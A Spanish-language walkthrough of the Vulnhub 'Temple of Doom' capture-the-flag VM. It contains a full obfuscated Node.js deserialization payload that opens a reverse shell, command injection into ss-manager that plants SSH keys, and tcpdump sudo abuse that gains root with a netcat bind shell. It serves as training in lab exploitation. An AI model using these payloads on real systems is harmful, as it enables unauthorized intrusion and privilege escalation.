Temple of doom

En este CTF vamos a aprender como aprovechar un bug en la serialización de objetos en NodeJS de este modo conseguiremos shell en el sistema y a partir de ahí escalaremos hasta llegar a root.

Nos bajamos la VM de vulnhub o directamente desde alfaexploit.
https://www.vulnhub.com/entry/temple-of-doom-1,243/
temple-of-DOOM-v1.ova

Escaneamos los puertos abiertos del host:

RX4 ☢ /home/kr0m> nmap -sT 192.168.20.103 -p 0-65535

Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-04 09:20 CEST
Nmap scan report for 192.168.20.103
Host is up (0.0016s latency).
Not shown: 65534 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
666/tcp open  doom
MAC Address: 08:00:27:52:19:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds

Probamos manualmente una conexión al puerto 666:

RX4 ☢ ~> curl 192.168.20.103:666 -v

* Rebuilt URL to: 192.168.20.103:666/
* Trying 192.168.20.103...
* TCP_NODELAY set
* Connected to 192.168.20.103 (192.168.20.103) port 666 (#0)
> GET / HTTP/1.1
> Host: 192.168.20.103:666
> User-Agent: curl/7.61.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Set-Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D; Max-Age=900; Path=/; Expires=Tue, 04 Sep 2018 07:39:24 GMT; HttpOnly
< Content-Type: text/html; charset=utf-8
< Content-Length: 36
< ETag: W/"24-xWt5IUP3GfGbHraPgY5EGPpcNzA"
< Date: Tue, 04 Sep 2018 07:24:24 GMT
< Connection: keep-alive
<
* Connection #0 to host 192.168.20.103 left intact
Under Construction, Come Back Later!

Parece estar escrito en nodeJs(express):

X-Powered-By: Express

http://expressjs.com/es/

Si decodificamos la cookie como base64:

echo "eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D" | base64 -d

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}

Hagamos peticiones insertando la cookie:

RX4 ✺ ~> curl -v --cookie "profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D" http://192.168.20.103:666

* Rebuilt URL to: http://192.168.20.103:666/
* Trying 192.168.20.103...
* TCP_NODELAY set
* Connected to 192.168.20.103 (192.168.20.103) port 666 (#0)
> GET / HTTP/1.1
> Host: 192.168.20.103:666
> User-Agent: curl/7.61.0
> Accept: */*
> Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
>
< HTTP/1.1 500 Internal Server Error
< X-Powered-By: Express
< Content-Security-Policy: default-src 'self'
< X-Content-Type-Options: nosniff
< Content-Type: text/html; charset=utf-8
< Content-Length: 1155
< Date: Tue, 04 Sep 2018 10:29:22 GMT
< Connection: keep-alive
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected token F in JSON at position 79<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)<br> &nbsp; &nbsp;at /home/nodeadmin/.web/server.js:12:29<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)</pre>
</body>
</html>
* Connection #0 to host 192.168.20.103 left intact

Algunos datos valiosos son:

/home/nodeadmin/.web/ --> DoocRoot  
/home/nodeadmin --> Username

Basándonos en el error parece que intenta pasar la cookie en formato Json a objeto JavaScript:

JSON.parse() is used to convert a string containing JSON notation into a Javascript object.

La serialización de objetos en nodejs puede aprovecharse:
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

Con el script en python generaremos nuestra shellcode para realizar una reverse shell.

RX4 ✺ ~> wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py
RX4 ✺ ~> python nodejsshell.py 192.168.20.114 7777

[+] LHOST = 192.168.20.114
[+] LPORT = 7777
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,48,46,49,49,52,34,59,10,80,79,82,84,61,34,55,55,55,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

{"rce":"_$$ND_FUNC$$_function (){
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,48,46,49,49,52,34,59,10,80,79,82,84,61,34,55,55,55,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
}()"}

Pasamos la (shellcode javascript convertida a hexcodes) a base64:
https://www.base64encode.org/

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,48,46,49,49,52,34,59,10,80,79,82,84,61,34,55,55,55,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

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Ponemos a la escucha nuestro socker de recepción de la RS:

RX4 ✺ ~> nc -l -p 7777

Conectamos con la cookie preparada:

RX4 ✺ ~> curl -v --cookie “profile=eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw0OSw1Nyw1MCw0Niw0OSw1NCw1Niw0Niw1MCw0OCw0Niw0OSw0OSw1MiwzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw1NSw1NSw1NSw1NSwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ” http://192.168.20.103:666

Y obtenemos nuestro merecido premio:

RX4 ✺ ~> nc -l -p 7777

Connected!

uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)

mkdir .ssh
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf kr0m@skynet” > .ssh/authorized_keys

Ahora ya podemos conectar por ssh:

RX4 ✺ ~> ssh nodeadmin@192.168.20.103 -p22

Last failed login: Tue Sep 4 07:10:40 EDT 2018 from 192.168.20.114 on ssh:notty
There were 10 failed login attempts since the last successful login.
Last login: Sun Jun 3 15:26:34 2018 from 192.168.2.15

[nodeadmin@vmKr0m ~]$ uname -a
Linux vmKr0m 4.16.3-301.fc28.x86_64 #1 SMP Mon Apr 23 21:59:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

[nodeadmin@vmKr0m ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
nodeadmin:x:1001:1001::/home/nodeadmin:/bin/bash
fireman:x:1002:1002::/home/fireman:/bin/bash

El otro user tiene arrancado algo llamado ss-manager:

[nodeadmin@vmKr0m ~]$ ps aux|grep fireman

root       832  0.0  0.1 301464  4512 ?        S    03:19   0:00 su fireman -c /usr/local/bin/ss-manager
fireman    835  0.0  0.0  37060  3916 ?        Ss   03:19   0:00 /usr/local/bin/ss-manager

Podemos ejecutar código como fireman:
https://www.exploit-db.com/exploits/43006/

Probamos generando un fichero en /tmp/

[nodeadmin@vmKr0m ~]$ nc -u 127.0.0.1 8839

    add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
ok

[nodeadmin@vmKr0m ~]$ ls -la /tmp/evil

-rw------- 1 fireman fireman 0 sep 4 09:23 /tmp/evil

Ahora le metemos nuestra pubkey ssh:

[nodeadmin@vmKr0m ~]$ nc -u 127.0.0.1 8839

 add: {"server_port":8003, "password":"test", "method":"||mkdir /home/fireman/.ssh||"}

[nodeadmin@vmKr0m ~]$ nc -u 127.0.0.1 8839

 add: {"server_port":8003, "password":"test", "method":"||echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf kr0m@skynet' > /home/fireman/.ssh/authorized_keys||"}

Accedemos por ssh:

RX4 ✺ ~> ssh fireman@192.168.20.103 -p22

Last failed login: Tue Sep 4 07:58:33 EDT 2018 on pts/0
There was 1 failed login attempt since the last successful login.
Last login: Tue Sep 4 03:19:41 2018

[fireman@vmKr0m ~]$ id
uid=1002(fireman) gid=1002(fireman) grupos=1002(fireman)

En el history vemos algunos comandos ejecutados mediante sudo:

 29 sudo iptables -L

Miremos que se nos permite ejecutar:

[fireman@vmKr0m ~]$ sudo -l

Matching Defaults entries for fireman on vmKr0m:
 !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
 env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
 LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fireman may run the following commands on vmKr0m:
 (ALL) NOPASSWD: /sbin/iptables
 (ALL) NOPASSWD: /usr/bin/nmcli
 (ALL) NOPASSWD: /usr/sbin/tcpdump

Podemos aprovecharnos de tcpdump utilizando la opción:

-z postrotate-command

Creamos el fichero con el comando a ejecutar en este caso el comando id:

vi /tmp/.test

id

chmod 777 /tmp/.test

Ejecutamos tcpdump mediante sudo:

[fireman@vmKr0m ~]$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
23 packets received by filter
0 packets dropped by kernel
2 packets dropped by interface
[fireman@vmKr0m ~]$ uid=0(root) gid=0(root) grupos=0(root)

Pero que buena pinta tiene esto… esta vez pongo un netcat a la escucha:

vi /tmp/.test

nc -l -p 4444 -e /bin/bash

Vuelvo a ejecutar tcpdump:

[fireman@vmKr0m ~]$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

Conecto al puerto 4444:

RX4 ✺ ~> nc 192.168.20.103 4444

uid=0(root) gid=0(root) grupos=0(root)